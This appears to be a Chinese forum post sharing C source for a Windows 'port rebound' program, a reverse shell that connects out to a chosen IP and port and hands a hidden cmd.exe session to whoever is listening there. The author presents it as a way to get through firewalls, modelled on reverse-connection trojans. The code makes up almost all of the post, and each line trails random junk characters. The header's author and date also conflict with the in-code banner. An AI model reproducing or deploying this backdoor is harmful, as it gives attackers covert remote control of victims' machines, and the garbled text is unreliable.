Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 T_5*iwI  
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/* ============================== #'G7mAoA  
Rebound port in Windows NT z<3}TD  
By wind,2006/7 14@q$}sf  
===============================*/ L~?,6  
#include 8S[<[CH  
#include /Gh x2B  
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#pragma comment(lib,"wsock32.lib") )n[`Z#  
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void OutputShell(); JWUv H  
SOCKET sClient; }QApeZd+q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !"o1ve`{  
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void main(int argc,char **argv) +Zty}fe  
{ kG|>_5  
WSADATA stWsaData; )|59FOWg  
int nRet; dcrJ,>i}  
SOCKADDR_IN stSaiClient,stSaiServer; C[J`x>-K  
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if(argc != 3) ~,M;+T}[r  
{ Kc-A-P &Ry  
printf("Useage:\n\rRebound DestIP DestPort\n"); o%N0K  
return; 
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} R"8})a gw  
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WSAStartup(MAKEWORD(2,2),&stWsaData); YDZ1@N}^B  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CwH)6uA  
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stSaiClient.sin_family = AF_INET; fd,}YAiX  
stSaiClient.sin_port = htons(0); 6f5sIg  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Js^r]=\F'  
{ W:;`  
printf("Bind Socket Failed!\n"); 2\iD;Z#gM  
return; 9^C!,A{u4  
} ^c[CyZ:a  
nfd?@34"A2  
stSaiServer.sin_family = AF_INET; ;|2;kvf"w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u1pYlu9IW  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); fDm}J  

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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vqv2F @.  
{ Jb)eC?6O  
printf("Connect Error!"); no\}aTx  
return; ;>QK}
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} WkU)I2oH  
OutputShell(); 40l#'< y;  
} S9ak '  
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void OutputShell() sP8-gkkor  
{ "#eNFCo7k  
char szBuff[1024]; XM5;AcD  
SECURITY_ATTRIBUTES stSecurityAttributes; H?/cG_^y0  
OSVERSIONINFO stOsversionInfo; 7]HIE]#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ph7(JV{  
STARTUPINFO stStartupInfo; K&"Pm9  
char *szShell; );/5#b@<Y  
PROCESS_INFORMATION stProcessInformation; RGPU~L  
unsigned long lBytesRead; +D{*L0$D"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 48"Y-TV  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [0,q7d?"  
stSecurityAttributes.lpSecurityDescriptor = 0; MkV*+LXC  
stSecurityAttributes.bInheritHandle = TRUE; GWkJ/EX  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EuimZW\V  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1o"oa<*_  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A](}"Pi!n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p6eDd"Y  
stStartupInfo.wShowWindow = SW_HIDE; c402pj  
stStartupInfo.hStdInput = hReadPipe; oe_[h]Hgl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5KPPZmO  
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GetVersionEx(&stOsversionInfo); ?PxYS%D_L  
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switch(stOsversionInfo.dwPlatformId) d=5}^v#4  
{ WUOPYYW<o
 
case 1: $P}]|/Yb  
szShell = "command.com"; F*jjcUk  
break; '>Wuu
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default: YvP"W/5  
szShell = "cmd.exe";
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break; ,;ruH^  
} BO\`m%8md  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fOjt` ~ToI  
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send(sClient,szMsg,77,0); 02c.;ka3  
while(1) yW=hnV{  
{ `R=_t]ie  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vi-!E  
if(lBytesRead) uc(yos  
{ [F-u'h< *l  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z$=$oJzB  
send(sClient,szBuff,lBytesRead,0); MUt^mu$86  
} 2D_Vo ])l/  
else tS/APSY  
{ 6%hEs6-R  
lBytesRead=recv(sClient,szBuff,1024,0); [,?A
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if(lBytesRead<=0) break; f+88R=-u6S  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K}*p(1$u  
} k-PRV8WO  
} PNxO\Rc  
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return; {aa,#B]i  
}